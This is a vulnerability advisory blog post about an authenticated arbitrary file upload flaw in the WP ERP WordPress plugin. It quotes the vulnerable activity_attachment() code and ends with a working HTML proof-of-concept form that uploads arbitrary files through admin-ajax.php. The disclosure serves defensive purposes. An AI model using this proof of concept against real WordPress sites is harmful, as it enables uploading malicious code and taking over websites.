18 May 2022

Hacker Probably Targeting This Authenticated Arbitrary File Upload Vulnerability in WP ERP

Earlier this week Wordfence got press coverage for a situation where they were obliquely admitting they were way behind hackers. As they were claiming to have started seeing attacks against a vulnerability in a WordPress plugin on May 10, while publicly available data from the website abuseipdb.com was showing attacks at the end of March. On Monday data we monitor from that website showed that what looked to be a hacker probing for usage of the WordPress plugin WP ERP by requesting this file from it:

/wp-content/plugins/erp/readme.txt

Checking over the plugin, we found the plugin contains multiple security issues. The most serious is one that would allow anyone logged in to WordPress plugin to upload arbitrary files to the website, which a hacker could use to run malicious code on the website. That is a type of vulnerability that hackers are highly like to try to exploit. We would recommend not using the plugin unless it has had a thorough security review, and all issues found are addressed.

We tested and confirmed that our firewall plugin for WordPress protected against the type of exploitation of this vulnerability you would see in a mass hack, even before we discovered the vulnerability, as part of its protection against zero-day vulnerabilities.

Authenticated Arbitrary File Upload

The plugin registers the function activity_attachment() to be accessible through WordPress’ AJAX functionality to anyone logged in to WordPress:

63
add_action( 'wp_ajax_erp_crm_activity_attachment', [ $this, 'activity_attachment' ] );

That function, which is located in the file /modules/crm/includes/class-ajax.php, handles uploading a file sent with a request to it:

1793
1794
1795
1796
1797
1798
1799
1800
1801
1802
1803
1804
1805
1806
1807
1808
1809
1810
1811
1812
1813
1814
1815
public function activity_attachment() {
	$files         = ( ! empty( $_FILES['files'] ) ) ? $_FILES['files'] : []; //phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
	$wp_upload_dir = wp_upload_dir();
	$subdir        = apply_filters( 'crm_attachmet_directory', 'crm-attachments' );
	$path          = $wp_upload_dir['basedir'] . '/' . $subdir . '/';
	$attatchments  = [];
	$file_names    = [];
 
	//Create CRM attachments directory
	if ( ! file_exists( $path ) ) {
		wp_mkdir_p( $path );
	}
 
	foreach ( $files['name'] as $key => $file ) {
		$extension    = pathinfo( $file, PATHINFO_EXTENSION );
		$new_filename = $file;
 
		if ( file_exists( $path . $new_filename ) ) {
			$new_filename = uniqid() . '.' . $extension;
		}
 
		if ( absint( $files['error'][ $key ] ) == 0 ) {
			if ( move_uploaded_file( $files['tmp_name'][ $key ], $path . $new_filename ) ) {

There are no security checks done to restrict who has access or what types of files can be uploaded, so that permits arbitrary files to be uploaded by anyone logged in to WordPress.

This could also be exploited through cross-site request forgery (CSRF).

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will upload the file sent with the request to the directory /wp-content/uploads/crm-attachments/, when logged in to WordPress.

Replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=erp_crm_activity_attachment" enctype="multipart/form-data" method="POST">
<input type="file" name="files[]" />
<input type="submit" name="img" value="Submit" />
</form>
</body>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published.